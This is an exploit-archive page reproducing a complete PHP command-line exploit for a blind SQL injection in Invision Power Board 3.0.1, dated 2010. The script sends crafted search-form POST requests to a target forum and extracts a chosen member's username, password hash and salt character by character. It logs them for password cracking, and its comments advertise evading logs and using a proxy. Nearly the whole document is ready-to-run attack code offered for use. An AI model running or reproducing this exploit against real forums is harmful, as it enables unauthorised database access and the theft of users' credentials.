IPB 3.0.1 sql injection exploit
Posted on 13 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>IPB 3.0.1 sql injection exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================== IPB 3.0.1 sql injection exploit =============================== <?php error_reporting(E_ALL); /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// // IPB 3.0.1 sql injection exploit // Version 1.0 // written by Cryptovirus // http://de.crypt.in/ // 31. january 2010 // // FEATURES: // 1. Fetching algorithm optimized for speed // 2. Attack goes through $_POST, so no suspicious logs // 3. Pretesting saves time if IPB is not vulnerable // 4. curl extension autoloading // 5. log format compatible with passwordspro // // NB! This exploit is meant to be run as php CLI! // http://www.php.net/features.commandline /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// //===================================================================== $cli = php_sapi_name() === 'cli'; //===================================================================== // Die, if executed from webserver //===================================================================== if(!$cli) { echo "<html><head><title>Attention!</title></head> "; echo "<body><br /><br /><center> "; echo "<h1>Error!</h1> "; echo "This exploit is meant to be used as php CLI script!<br /> "; echo "More information:<br /> "; echo "<a href="http://www.google.com/search?hl=en&q=php+cli+windows" target="_blank">http://www.google.com/search?hl=en&q=php+cli+windows</a><br /> "; echo "This script will not run through a webserver.<br /> "; echo "</center></body></html> "; exit; } //===================================================================== // Print the awesome de.crypt.in logo //===================================================================== echo " _ _ _ "; echo " __| | ___ ___ _ __ _ _ _ __ | |_ (_)_ __ "; echo " / _` |/ _ / __| '__| | | | '_ | __| | | '_ "; echo " | (_| | __/| (__| | | |_| | |_) | |_ _| | | | |"; echo " \__,_|\___(_)___|_| \__, | .__/ \__(_)_|_| |_|"; echo " |___/|_| "; //===================================================================== // Check if all command line arguments were passed //===================================================================== if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){ echo "Usage: php ".$_SERVER['PHP_SELF']." <target> <userid> <option> [login] [password] "; echo " "; echo "NOTE: Login and password are optional, use for forums that require registration. "; echo "Options: 1 - Fetch username, 2 - Fetch password hash "; echo "Example: php ".$_SERVER['PHP_SELF']." http://ipb.com/board/ 1 1 foo bar "; die; } //===================================================================== // Set some important variables... //===================================================================== $topicname = ''; $url = $argv[1]; $chosen_id = $argv[2]; $ch_option = $argv[3]; if(isset($argv[4])){ if(isset($argv[5])){ $user_login = $argv[4]; $user_pass = $argv[5]; } else{ echo "Error: Password not specified with username "; die; } } # Proxy settings # Be sure to use proxy :) //$proxy_ip_port = '127.0.0.1:8118'; //$proxy_user_password = 'someuser:somepassword'; $outfile = './ipb_log.txt'; //Log file if(!extension_loaded('curl')) { if(!dl('php_curl.dll')) { die("Curl extension not loaded! Fatal exit ... "); } else { echo "Curl loading success "; } } //===================================================================== xecho("Target: $url "); xecho("Testing target URL ... "); test_target_url(); xecho("Target URL seems to be valid "); add_line("=========================================="); add_line("Target: $url"); if(isset($argv[4])){ login_to_forum($argv[4], $argv[5]); } $i = $chosen_id; echo "Fetching topics from ID $i "; if(!fetch_target_id($i)) { echo "No topics found. "; fwrite(STDOUT, "Last ditch effort, enter topic: "); $topicname = trim(fgets(STDIN)); } else echo "Topic found! Hacktime. "; // Check chosen option and proceed accordingly add_line("------------------------------------------"); if($ch_option == 2){ $hash = get_hash($i); $salt = get_salt($i); $line = "$i:$hash:$salt"; add_line($line); xecho(" ------------------------------------------ "); xecho("User ID: $i "); xecho("Hash: $hash "); xecho("Salt: $salt"); xecho(" ------------------------------------------ "); } else if($ch_option == 1){ $uname = get_user($i); $line = "The username for id $i is $uname"; add_line($line); xecho("$uname"); } xecho(" Questions and feedback - http://de.crypt.in/ "); die(" "); ////////////////////////////////////////////////////////////////////// function login_to_forum($user, $pass) { global $url; $post = 'app=core&module=global&section=login&do=process&username='.$user.'&password='.$pass.'&rememberMe=1'; $buff = trim(make_post($url, $post, '', $url)); if(strpos($buff,'The login was successful!')>0){ xecho("Logged in. "); } else{ xecho("Error: Unable to login."); die; } } ////////////////////////////////////////////////////////////////////// function test_target_url() { global $url; $post = 'app=core&module=search&section=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%5Ball%5D=1&content_title_only=1&search_term=test%2527'; $buff = trim(make_post($url, $post, '', $url)); if(strpos($buff,'Moved Permanently')>0) { die('Ivalid. Try adding trailing slash to url. Exiting ...'); } if(strpos($buff,'No results found for')>0) { die('Target is patched? Exiting ...'); } } ////////////////////////////////////////////////////////////////////// function fetch_target_id($id) { global $url, $topicname; $post = 'app=core&module=search&do=user_posts&mid='.$id.'&view_by_title=1&search_filter_app%5Bforums%5D=1'; $buff = trim(make_post($url, $post, '', $url)); if(strpos($buff,'View result')>0){ $location = strpos($buff,'View result'); $start = strpos($buff,'>',$location)+1; $end = strpos($buff,'</a>',$start); $topicname = substr($buff,$start,($end-$start)); return true; } else return false; } /////////////////////////////////////////////////////////////////////// function get_salt($id) { $len = 5; $out = ''; xecho("Finding salt ... "); for($i = 1; $i < $len + 1; $i ++) { $ch = get_saltchar($i, $id); xecho("Got pos $i --> $ch "); $out .= "$ch"; xecho("Current salt: $out "); } xecho(" Final salt for ID $id: $out "); return $out; } /////////////////////////////////////////////////////////////////////// function get_saltchar($pos, $id) { global $prefix; $char = ''; $min = 32; $max = 128; $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_salt,'.$pos.',1))'; $curr = 0; while(1) { $area = $max - $min; if($area < 2 ) { $post = $pattern . "=$max"; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho("Current test: $curr-$max-$min "); } return $char; } /////////////////////////////////////////////////////////////////////// function get_hash($id) { $len = 32; $out = ''; xecho("Finding hash ... "); for($i = 1; $i < $len + 1; $i ++) { $ch = get_hashchar($i, $id); xecho("Got pos $i --> $ch "); $out .= "$ch"; xecho("Current hash: $out "); } xecho(" Final hash for ID $id: $out "); return $out; } /////////////////////////////////////////////////////////////////////// function get_hashchar($pos, $id) { global $prefix; $char = ''; $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_hash,'.$pos.',1))'; // First let's determine, if it's number or letter $post = $pattern . '%253e57'; $letter = test_condition($post); if($letter) { $min = 97; $max = 102; xecho("Char to find is [a-f] "); } else { $min = 48; $max = 57; xecho("Char to find is [0-9] "); } $curr = 0; while(1) { $area = $max - $min; if($area < 2 ) { $post = $pattern . "=$max"; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho("Current test: $curr-$max-$min "); } return $char; } /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// function get_user($id) { $len = 32; $out = ''; xecho("Finding username ... "); for($i = 1; $i < $len + 1; $i ++) { $ch = get_userchar($i, $id); xecho("Got pos $i --> $ch "); $out .= "$ch"; xecho("Current username: $out "); } xecho(" Final username for ID $id: $out "); return $out; } /////////////////////////////////////////////////////////////////////// function get_userchar($pos, $id) { global $prefix; $char = ''; $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.name,'.$pos.',1))'; // First let's determine, if it's number or letter $post = $pattern . '%253e57'; $letter = test_condition($post); if($letter) { $min = 65; $max = 122; xecho("Char to find is [a-f] "); } else { $min = 48; $max = 57; xecho("Char to find is [0-9] "); } $curr = 0; while(1) { $area = $max - $min; if($area < 2 ) { $post = $pattern . "=$max"; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho("Current test: $curr-$max-$min "); } return $char; } /////////////////////////////////////////////////////////////////////// function test_condition($p) { global $url; global $topicname; $bret = false; $maxtry = 10; $try = 1; $pattern = 'app=core&module=search&section=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%%5Ball%%5D=1&content_title_only=1&search_term='.$topicname.'%%2527 IN BOOLEAN MODE) AND %s AND MATCH(t.title) AGAINST(%%2527'.$topicname; $post = sprintf($pattern, $p); while(1) { $buff = trim(make_post($url, $post, '', $url)); if(strpos($buff,'Your search for the term <em><strong>')>0) { $bret = true; break; } elseif(strpos($buff,'No results found for')>0) { break; } elseif(strpos($buff, 'Driver Error</title>') !== false) { die("Sql error! Wrong prefix? Exiting ... "); } else { xecho("test_condition() - try $try - invalid return value ... "); xecho("Will wait 30 seconds for flood control. Expect 2-3 tries. "); xecho("This is going to take years... "); sleep(10); $try ++; if($try > $maxtry) { die("Too many tries - exiting ... "); } else { xecho("Trying again - try $try ... "); } } } return $bret; } /////////////////////////////////////////////////////////////////////// function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE) { $ch = curl_init(); $timeout = 120; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)'); curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); if(!empty($GLOBALS['proxy_ip_port'])) { curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']); if(!empty($GLOBALS['proxy_user_password'])) { curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']); } } if(!empty($cookie)) { curl_setopt ($ch, CURLOPT_COOKIE, $cookie); } if(!empty($referer)) { curl_setopt ($ch, CURLOPT_REFERER, $referer); } if($headers === TRUE) { curl_setopt ($ch, CURLOPT_HEADER, TRUE); } else { curl_setopt ($ch, CURLOPT_HEADER, FALSE); } $fc = curl_exec($ch); curl_close($ch); return $fc; } /////////////////////////////////////////////////////////////////////// function add_line($line) { global $outfile; $line .= " "; $fh = fopen($outfile, 'ab'); fwrite($fh, $line); fclose($fh); } /////////////////////////////////////////////////////////////////////// function xecho($line) { if($GLOBALS['cli']) { echo "$line"; } else { $line = nl2br(htmlspecialchars($line)); echo "$line"; } } /////////////////////////////////////////////////////////////////////// ?> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-13]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
